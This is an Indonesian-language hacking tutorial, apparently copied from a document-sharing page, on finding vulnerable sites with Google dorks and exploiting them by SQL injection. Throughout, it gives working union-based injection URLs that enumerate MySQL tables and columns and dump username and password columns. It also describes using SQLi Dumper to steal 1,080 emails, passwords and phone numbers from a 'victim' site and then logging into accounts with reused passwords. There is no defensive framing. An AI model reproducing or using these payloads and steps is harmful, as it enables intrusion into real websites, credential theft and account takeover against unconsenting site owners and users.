Anda di halaman 1dari 15

Google Dork adalah salah satu kata kunci, untuk mempermudah pencarian menggunakan

situs search engine terkenal seperti Google dan biasanya digunakan untuk mencari data-data
yang tersembunyi seperti user, password dan lain lain.
Injeksi SQL (Bahaasa Inggris: SQL Injection)adalah sebuah teknik yang menyalahgunakan
sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah aplikasi.
SQL Injection (SQLI) adalah suatu teknik hacking yang di gunakan oleh penyerang/attacker
untuk mendapatkan sebuah database dengan menyisipkan perintah - perintah SQL melalui url

Cara penggunaan SQL Injection


Yang perlu diketahui sebelum melakukan SQL Injection pada MySQL:
karakter: ' atau comments: /* atau -information_schema untuk versi: MySQL versi 5.x , tidak support untuk MySQL versi 4.x
[ Step 1 ]

Carilah target
Misal: [site]/berita.php?id=100
Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat
apakah ada pesan error.
contoh:
[site]/berita.php?id=100' atau
[site]/berita.php?id=-100
Sehingga muncul pesan error seperti berikut [ masih banyak lagi ]

[ Step 2 ]

Mencari dan menghitung jumlah table yang ada dalam databasenya...


gunakan perintah: order by
Contoh:
[site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*
Ceklah secara step by step (satupersatu)...
Misal:
[site]/berita.php?id=-100+order+by+1-[site]/berita.php?id=-100+order+by+2-[site]/berita.php?id=-100+order+by+3-[site]/berita.php?id=-100+order+by+4-Sehingga muncul error atau hilang pesan error...
Misal: [site]/berita.php?id=-100+order+by+9-Berarti yang kita ambil adalah sampai angka 8
Menjadi [site]/berita.php?id=-100+order+by+8

[ Step 3 ]

untuk mengeluarkan angka berapa yang muncul gunakan perintah union


karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8-ok seumpama yg keluar angka 5
gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai
masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8-Lihat versi yang digunakan se'umpama versi 4 tinggalkan saja karena dalam versi 4
ini kita harus menebak sendiri table dan column yang ada pada web tersebut karena
tidak bisa menggunakan perintah From+Information_schema..
Untuk versi 5 berarti anda beruntung tak perlu menebak table dan column seperti
versi 4 karena di versi 5 ini bisa menggunakan perintah From+Information_schema..

[ Step 4 ]

Untuk menampilkan table yang ada pada web tersebut adalah


perintah table_name >>> dimasukan pada angka yangg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir
Code:
[site]/berita.php?id=100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables-Se'umpama table yang muncul adalah "admin"

[ Step 5 ]

untuk menampilkan semua isi dari table tersebut adalah


perintah group_concat(table_name) >>> dimasukan pada angka yang keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>>
dimasukan setelah angka terakhir
[site]/berita.php?id=100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schem
a. tables+where+table_schema=database()

[ Step 6 ]

Perintah group_concat(column_name) >>> dimasukan pada angka yang keluar tadi


perintah +from+information_schema.columns+where+table_name=0xhexa-- >>>
dimasukan setelah angka terakhir
[site]/berita.php?id=100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_sch
ema .columns+where+table_name=0xhexa-Pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu
dengan cara mengkonversinya
Website yg digunakan untuk konversi :
http://www.v3n0m.net/ascii.htm
Contoh kata yang ingin dikonversi yaitu admin maka akan menjadi 61646D696E
[site]/berita.php?id=100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_sch
ema .columns+where+table_name=0x61646D696E--

[ Step 7 ]

Memunculkan apa yang tadi telah dikeluarkan dari table yaitu dengan cara
perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada
angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir
Contoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi
column),6,7,8+from+(nama table berasal)-Contoh kata yang keluar adalah id,username,password
Contoh :
[site]/berita.php?id=100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin

[ Step 8 ]

Tahap terakhir mencari halaman admin atau login.

Cara penggunaan Google Dork


Type-type dalam penggunaannya ada beberapa macam diantaranya:
intitle
allintitle
(Mencari judul/title pada suatu web)
inurl
allinurl
(Mencari suatu string yang terdapat pada url)
filetype
(Mencari suatu file secara lebih spesifik)
(www.google.c.id/help/faq_filetypes.html)
allintext
(Mencari suatu nilai string dalam suatu web)
site
(Mencari pada web tertentu)
link
(Mencari web2 yang mempunyai link pada web yang di pilih)

Contoh penggunaan google dork untuk menemukan celah aplikasi website


cara hack email
1. Buka SQLi Dumper sobat, seperti ini:

2. Langsung pindah saja ke tab URL Analizer (karena kita sudah mendapat targetnya)

3. Masukkan target URL, lalu klik Go


4. Tunggu sebentar hingga proses selesai, lalu klik Go To Dumper

5. Dan, yang dicari akhirnya ketemu...ya, kita berhasil menemukan database yang digunakan
di website tersebut, keren bukan??, okey sekarang kita lihat tabel-tabel yang ada pada
database target korban kita..caranya anda klik nama databasenya lalu klik Get Tables, lihat
gambar:

6. Dan tentunya di dalam tabel-tabel masih terdapat field-field atau kolom-kolom yang berisi
data, gokil bukan?? coba lihat tabel di atas, cek di tabel member...nah saya yakin data alamat
email pasti ada di situ :D #girang..

7. Okey kita ambil field-field di tabel member

8. Ternyata apa yang kita pikirkan menjadi kenyataan!, ada field email dan password
(walaupun bukan berarti ini password emailnya)
9. Dan langkah terakhir adalah kita ambil data-datanya...okey silahkan diberi tanda cek data
apa yang anda inginkan, disini saya akan mengambil data yang utama saja yaitu email,
password dan phone...mengapa? ya anda pasti sudah tahu jawabannya...

10. Dan, tampak terlihat ada 1080 data! waw, sangat mudah bukan mendapatkan email dan
password?
NB: Kebanyakan orang Indonesia hanya menggunakan 1 password yang sama untuk semua
akunnya, dan saya yakin dari 1080 data yang diperoleh pasti 70%nya merupakan password
untuk alamat emailnya, gak percaya?? mari kita buktikan!
Saya ambil 1 data:

Dan saya gunakan untuk login, apa yang terjadi, silahkan sobat lihat sendiri

Contoh penggunaan sql injection untuk untuk hacking website


1.

Cari Target + Bugnya

Cara mencarinya adalah dengan dork sql injection. Misalnya inurl:index.php?id= search
dengan om GOOGLE, misalkan kita mendapatkan alamat situs
http://www.target.com/index.php?id=4

Lalu untuk mengetahui suatu web memiliki bug SQL injection, tambahkan sebuah tanda
petik pada akhir url, sehingga urlnya menjadi
http://www.target.com/index.php?id=4

lalu tekan enter dan apa yang terjadi pada situs tersebut? Situsnya menampilkan pesan error,
berarti parameter id tidak di filter dengan baik atau bahkan tidak difilter sama sekali. Untuk
mengetahui suatu web aplikasi memiliki bug SQL Injection salah satunya adalah
menggunakan perintah and+1=1--

Ketika di tambahkan parameter +and+1=1-- pada akhir URL, situsnya tampil dengan normal
karena 1=1 menghasilkan nilai true.
http://www.target.com/index.php?id=4+and+1=1--

Dan ketika di tambahkan parameter +and+1=2-- isi berita tidak dapat ditampilkan karena
1=2 hasilnya false dan ini membuktikan bahwa web aplikasi tersebut 99.9% memiliki bug
SQL Injection
http://www.target.com/index.php?id=4+and+1=2--

2.

Cari Column Yang Memiliki Celah Injection

Setelah saya tau bahwa web tersebut memiliki Bug SQL Injection saya harus mencari tau
nama table dan column, tapi sebelum itu saya harus mencari tau pada column ke berapa saya
bisa melakukan Injection, untuk itu saya menggunakan perintah +order+by+ perhatikan url
berikut.
http://www.target.com/index.php?id=4+order+by+1-http://www.target.com/index.php?id=4+order+by+2-http://www.target.com/index.php?id=4+order+by+3-http://www.target.com/index.php?id=4+order+by+4-http://www.target.com/index.php?id=4+order+by+5--

url diatas jika di coba satu persatu akan menampilkan situsnya secara normal. Tapi ketika
saya menginputnya dengan order+by+6-- apa yang terjadi??? Browser menampilkan pesan
error. Dari pesan error tersebut bisa dipastikan terdapat 5 buah column yang terdapat disalah
satu table yang belum kita ketahui namanya. Berarti yang kita ambil sampai +order+by+5-saja.

3.

Gunakan Perintah Union Select

Setelah saya mengetahui terdapat 5 buah column pada target, selanjutnya yaitu mencari
column yang bisa dilakukan injeksi. Untuk itu saya menggunakan perintah +union+select+
(pakai union all select juga bisa koq) sehingga urlnya menjadi :
http://www.target.com/index.php?id=4+union+select+1,2,3,4,5--

Dan apa yang tampak di browser tidak ada yang aneh bukan? situsnya tampil dengan normal.
Tetapi jika parameter id saya ganti menjadi -4 yang pastinya tidak ada isi data -4 di Database.
http://www.target.com/index.php?id=-4+union+select+1,2,3,4,5--

Oke disini browser menampilkan angka 2 & 3, dan angka inilah yang sering disebut dengan
angka ajaib, karena angka tersebut adalah letak column dimana attacker bisa melakukan
injeksi lebih lanjut.
4.

Cari informasi Database Target

Dengan tampilnya angka ajaib tersebut anda bisa 'mengintip' beberapa informasi seperti
nama database, nama user database, versi database, sessi user dll. Untuk melihat nama
database, injeksi urlnya menjadi
http://www.target.com/index.php?id=-4+union+select+1,database(),3,4,5--

Dan disini browser menampilkan nama database yaitu xyb_injector. Saya mencoba
mengintip lagi nama user database pada situs tersebut dengan menginjeksinya pada column
ke-2 dan versi pada column ke-3 dan url injeksinya menjadi :
http://www.target.com/index.php?id=-4+union+select+1,user(),version(),4,5--

Ternyata user dabasenya root@localhost dan beruntung sekali karena versi mysql yang di
gunakan adalah versi 5.0.51a-community, lho emang kenapa kalo versi 5??? Karena bisa
dilanjutin bacanya :D, kalo misalkan versi 4 tinggalin aja deh, cari target baru, hahahaha ?.
Coba anda perhatikan, anda hanya bisa meng-injeksi satu perintah pada satu column. Bisakah
meng-injeksi lebih dari satu perintah pada satu colums??? Heheheh tentu saja bisa dong,
untuk itu anda bisa menggunakan perintah yang sudah disediakan langsung oleh mysql yaitu
perintah concat(perintah1,perintah2). Contoh dibawah ini saya meng-intip nama user dan
nama database pada column ke-2 dan pada column ke-3 saya mengintip versi databasenya.
http://www.target.com/index.php?id=4+union+select+1,concat(user(),0x3a,database()),v
ersion(),4,5--

5.

Dapatkan Nama Table

Saya sudah mendapatkan informasi database web tersebut, sebenarnya yang saya butuhkan
hanyalah versi databasenya saja, seperti yang sudah anda lihat, versi database yang
ditampilkan adalah 5.0.51a-community dan tentu ini memudahkan saya dalam mendapatkan
table dengan menggunakan perintah table_name pada column yang memiliki bug yaitu
angka 2 atau 3 pada web tersebut. Di akhir statement tambahkan
from+information_schema.tables+where+table_schema=database()+limit+0,1-Sehingga urlnya menjadi :

http://www.target.com/index.php?id=4+union+select+1,2,table_name,4,5+from+inform
ation_schema.tables+where+table_schema=database()+limit+0,1--

Di web tersebut tampil sebuah table bernama "table_attacker". Untuk melihat seluruh table
sekaligus gunakan perintah group_concat(table_name) pada column yang memiliki bug,
sehingga urlnya menjadi
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(table_name),4,5
+from+information_schema.tables+where+table_schema=database()--

Hihihi sip, seluruh table berhasil saya dapatkan, diantara table tersebut, table manakah yang
harus saya telusuri lebih jauh lagi??? table_user sepertinya menarik :P yuk kita lihat apa
isinya.
6.

Dapatkan Nama Column

table_user sudah saya dapatkan selanjutnya yaitu mencari nama column pada table tersebut,
untuk itu saya menggunakan perintah group_concat(column_name) sehingga urlnya
menjadi
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(column_name),
4,5+from+information_schema.columns+where+table_name=0xhexa--

pada tahap ini kamu wajib mengextrak kata yang keluar pada isi table tadi menjadi
hexadecimal yaitu dengan cara mengkonversinya. Salah satu website yg digunakan untuk
konversi :
http://www.string-functions.com/string-hex.aspx

Contoh kata yg ingin di konversi yaitu table_user maka akan menjadi


7461626c655f75736572 ini masih belum selesai, anda harus menambahkan angka 0 dan
huruf x pada awal hasil hexa tersebut sehingga hasilnya menjadi 0x7461626c655f75736572
dan inilah yang akan kita injeksikan pada nama tabel. Sehingga urlnya menjadi
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(column_name),
4,5+from+information_schema.columns+where+table_name=0x7461626c655f75736572<

Alhasil nama column dari table_user sudah saya dapatkan yaitu user_id dan password_id.

7.

Dapatkan Usename & Password

Saya sudah mendapatkan nama table table_user yang berisi 2 buah column yaitu
user_id dan password_id dan akhirnya anda sudah sampai di detik-detik terakhir yaitu
menampilkan isi data dari column tersebut. Tambahkan 0x3a pada group_concat(hasil isi
column yg mau dikeluarkan,0x3a, hasil isi column yg mau dikeluarkan) perintah
+from+(nama table berasal) dimasukkan setelah angka terakhir sehingga urlnya menjadi :
http://www.target.com/index.php?id=4+union+select+1,2,group_concat(user_id,0x3a,pa
ssword_id),4,5+from+table_user--

Anda mungkin juga menyukai